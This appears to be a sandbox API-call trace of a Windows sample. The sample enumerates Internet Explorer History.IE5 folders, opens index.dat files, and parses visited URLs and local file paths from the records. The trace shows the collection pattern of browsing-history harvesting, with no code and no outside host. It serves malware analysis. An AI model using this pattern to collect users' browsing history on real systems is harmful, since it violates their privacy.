	[0099.021] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.021] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a00
	[0099.021] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.021] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.021] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a80
	[0099.021] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.021] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.021] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b00
	[0099.022] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.022] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.022] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b80
	[0099.022] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.022] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.022] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c00
	[0099.022] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.022] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.022] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c80
	[0099.022] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.022] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.022] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d00
	[0099.022] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.022] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.022] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d80
	[0099.022] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.022] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.022] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e00
	[0099.022] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.022] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.022] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e80
	[0099.022] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.022] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.022] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f00
	[0099.022] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.022] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.022] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f80
	[0099.022] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.022] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.022] CloseHandle (hObject=0xc4) returned 1
	[0099.022] FindNextFileW (in: hFindFile=0x612a48, lpFindFileData=0x188950 | out: lpFindFileData=0x188950) returned 0
	[0099.023] FindClose (in: hFindFile=0x612a48 | out: hFindFile=0x612a48) returned 1
	[0099.023] FindNextFileW (in: hFindFile=0x60f818, lpFindFileData=0x18934c | out: lpFindFileData=0x18934c) returned 1
	[0099.023] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49
	[0099.023] wcslen (_String="MSHist012017071220170713") returned 0x18
	[0099.023] wcscpy (in: _Dest=0x18959c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5"
	[0099.023] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49
	[0099.023] wcscat (in: _Dest=0x18959c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\"
	[0099.023] wcscat (in: _Dest=0x18959c, _Source="MSHist012017071220170713" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713"
	[0099.023] wcscmp (_String1="MSHist012017071220170713", _String2="..") returned 1
	[0099.023] wcscmp (_String1="MSHist012017071220170713", _String2=".") returned 1
	[0099.023] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62
	[0099.023] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62
	[0099.023] wcslen (_String="*.*") returned 0x3
	[0099.023] wcscpy (in: _Dest=0x1886c8, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713"
	[0099.023] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62
	[0099.023] wcscat (in: _Dest=0x1886c8, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\"
	[0099.023] wcscat (in: _Dest=0x1886c8, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*"
	[0099.023] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x188950 | out: lpFindFileData=0x188950) returned 0x612a48
	[0099.025] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62
	[0099.025] wcslen (_String=".") returned 0x1
	[0099.025] wcscpy (in: _Dest=0x188ba0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713"
	[0099.025] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62
	[0099.025] wcscat (in: _Dest=0x188ba0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\"
	[0099.025] wcscat (in: _Dest=0x188ba0, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\."
	[0099.025] wcscmp (_String1=".", _String2="..") returned -1
	[0099.025] wcscmp (_String1=".", _String2=".") returned 0
	[0099.025] _wcsicmp (_String1=".", _String2="index.dat") returned -59
	[0099.025] FindNextFileW (in: hFindFile=0x612a48, lpFindFileData=0x188950 | out: lpFindFileData=0x188950) returned 1
	[0099.025] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62
	[0099.025] wcslen (_String="..") returned 0x2
	[0099.025] wcscpy (in: _Dest=0x188ba0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713"
	[0099.025] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62
	[0099.025] wcscat (in: _Dest=0x188ba0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\"
	[0099.025] wcscat (in: _Dest=0x188ba0, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\.."
	[0099.025] wcscmp (_String1="..", _String2="..") returned 0
	[0099.025] _wcsicmp (_String1="..", _String2="index.dat") returned -59
	[0099.025] FindNextFileW (in: hFindFile=0x612a48, lpFindFileData=0x188950 | out: lpFindFileData=0x188950) returned 1
	[0099.025] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62
	[0099.025] wcslen (_String="index.dat") returned 0x9
	[0099.025] wcscpy (in: _Dest=0x188ba0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713"
	[0099.025] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62
	[0099.025] wcscat (in: _Dest=0x188ba0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\"
	[0099.025] wcscat (in: _Dest=0x188ba0, _Source="index.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat"
	[0099.025] _wcsicmp (_String1="index.dat", _String2="index.dat") returned 0
	[0099.025] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017071220170713\\index.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc4
	[0099.026] SetFilePointer (in: hFile=0xc4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.026] ReadFile (in: hFile=0xc4, lpBuffer=0x188620, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x1822e8, lpOverlapped=0x0 | out: lpBuffer=0x188620*, lpNumberOfBytesRead=0x1822e8*=0x20, lpOverlapped=0x0) returned 1
	[0099.027] GetFileSize (in: hFile=0xc4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8000
	[0099.027] SetFilePointer (in: hFile=0xc4, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
	[0099.027] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.027] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0099.027] SetFilePointer (in: hFile=0xc4, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
	[0099.027] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1822c4, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c4*=0x100, lpOverlapped=0x0) returned 1
	[0099.027] _strlwr (in: _Str="https://www.google.de/" | out: _Str="https://www.google.de/") returned="https://www.google.de/"
	[0099.028] wcscmp (_String1="https://www.google.de/", _String2=":host: www.msn.com") returned 1
	[0099.028] wcscmp (_String1="https://www.google.de/", _String2="http://google.com") returned 1
	[0099.028] wcscmp (_String1="https://www.google.de/", _String2="https://www.google.de/") returned 0
	[0099.028] SetFilePointer (in: hFile=0xc4, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
	[0099.028] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.028] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0099.029] SetFilePointer (in: hFile=0xc4, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
	[0099.029] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1822c4, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c4*=0x100, lpOverlapped=0x0) returned 1
	[0099.029] _strlwr (in: _Str=":Host: www.google.de" | out: _Str=":host: www.google.de") returned=":host: www.google.de"
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2=":host: www.msn.com") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="http://google.com") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="https://www.google.de/") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="http://www.google.de/") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="http://www.msn.com/de-de/") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="https://support.microsoft.com/products/internet-explorer") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="http://go.microsoft.com/fwlink/") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="https://support.microsoft.com/internet-explorer") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="http://www.msn.com/") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2=":host: computer") returned 1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/ss%20braid%20po.doc.rtf") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/aan0pmcrlpyd.png") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/wnwzxyqa2welmzgrztt.ppt") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/h2izlu1ufor.xls") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/xi5-8zu1wzv%20kjhpve%20a.rtf") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/snskkcvvzd7w1.xls") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/tdmgt2fmeed.mkv") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/iw9e8gkbcyjwfy93oc.png") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/znz_9cyx.png") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/k_vzzfxu6ato.png") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/ikf8e692kmkh_fo6.png") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/o9ktbmmwodelsp.bmp") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/_dfs.jpg") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/p8yfgt4oxpbtzf0k_bpz.jpg") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ph_t9ive4a.gif") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/8y78ct0onkxjh0jaidth.docx") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/vbknuxifja8a3smzlj.bmp") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/0q4phtvdiubhgt70x.ods") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/rpro3yv6z7ezencrmh.jpg") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/needlus0azvsphmmw6z.xlsx") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/uunxjvmk-zjhqq%20a.gif") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/zbmp3oztns-_tzwszsj.pdf") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/eedyusbybk5jgafd.flv") returned -1
	[0099.029] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/kl3rercief.odp") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/je6xvdagr_wm.flv") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/okbralkx9o.pptx") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/x6cwkno2g1u-.xlsx") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/e2st1_q0mhblry-5f2.gif") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/5d7qoxsxvlhy.odp") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/vwht_oecylulo.bmp") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/dmm6.mkv") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/ighw.mkv") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/l8qtuzam4hc6.ots") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/o-q7.xlsx") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/yfknamid8j.ods") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/j1-w3a.ods") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/mpr9wwdigysqmpdjpd.xlsx") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/gnrduar4_ge-lius2.pps") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ujwjx0nxvajjtxf3pr.png") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/saqsfltop.bmp") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/44x%20n0sokdl7to.gif") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/yst3fikdfbu4ruukpdcy.png") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/uf98.ots") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/gmdngx.bmp") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/jnuhgew-b.ppt") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/mrbf4z2smxpy-qp.csv") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/sgtctm%20w5i4m4k-tq7vz.docx") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/8dmsvpxvfk8q_a4.odt") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/wvjceeg87kzqwdb.docx") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/es1ciiab1yf_z54n9_qd.gif") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/qop3.odp") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/dtttxqgtwjzoirag3-ir.flv") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/qfgi.mkv") returned -1
